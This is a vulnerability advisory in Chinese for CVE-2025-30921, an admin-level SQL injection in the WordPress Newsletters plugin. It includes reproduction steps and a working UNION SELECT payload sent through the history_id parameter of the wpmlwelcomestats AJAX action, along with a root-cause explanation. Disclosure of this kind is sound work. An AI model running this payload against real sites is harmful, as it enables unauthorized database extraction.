CVE-2025-30921

1️⃣ 组件类型

WordPress 插件

2️⃣ 组件详情

组件名称 Newsletters

受影响版本 <= 4.9.9.7

组件标识 newsletters-lite

组件链接 https://wordpress.org/plugins/newsletters-lite/

3️⃣ OWASP 2017: TOP 10

漏洞类别 A3: 注入

漏洞类型 SQL 注入

4️⃣ 前置条件

管理员权限

5️⃣ 漏洞详情

👉 简要描述

当查看 Newsletters 插件（版本 4.9.9.7 或更低）仪表盘（/wp-admin/admin.php?page=newsletters）中的统计概览图表时，由于对 URL 参数的输入验证和转义处理不足，导致发生 SQL 注入漏洞。

通过此漏洞，具有管理员权限的攻击者可以利用它来提取目标站点的数据库信息。

👉 复现步骤 (PoC)

1. 准备一个安装了 Newsletters 插件（版本 4.9.9.7 或更低）的 WordPress 站点。

2. 导航到 Newsletters 插件仪表盘菜单（/wp-admin/admin.php?page=newsletters）。

   

3. 使用浏览器开发者工具，在“元素”选项卡中搜索 action=wpmlwelcomestats&security=，并检查 security 的值。例如，如果搜索结果如下所示，记下 22b1ac0de6。

   root@kitploit:~

   // ...
   
   jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
   
   // ...
   

   

4. 将记下的 security 值填入下方 URL 路径的 <SECURITY VALUE> 部分，并向该 URL 发送请求。

   root@kitploit:~

   http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
   

👉 附加信息（可选）

[漏洞根因]

当请求上述 PoC 中触发 SQL 注入漏洞的 URL 时，会调用 /wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php 文件中的 ajax_welcomestats 函数。

此时，请求参数 history_id 直接被作为 SQL 查询字符串中的条件子句引用，并初始化为变量 $history_condition。然后该变量未经任何转义处理便传递给数据库查询。

因此，由于对 URL 参数 history_id 中输入的值没有进行验证或转义处理，导致 SQL 注入漏洞。（注意，URL 参数 from 和 to 也因输入验证和转义处理不足而存在 SQL 注入攻击风险。）

6️⃣ 利用演示

7️⃣ 参考资料

• https://nvd.nist.gov/vuln/detail/CVE-2025-30921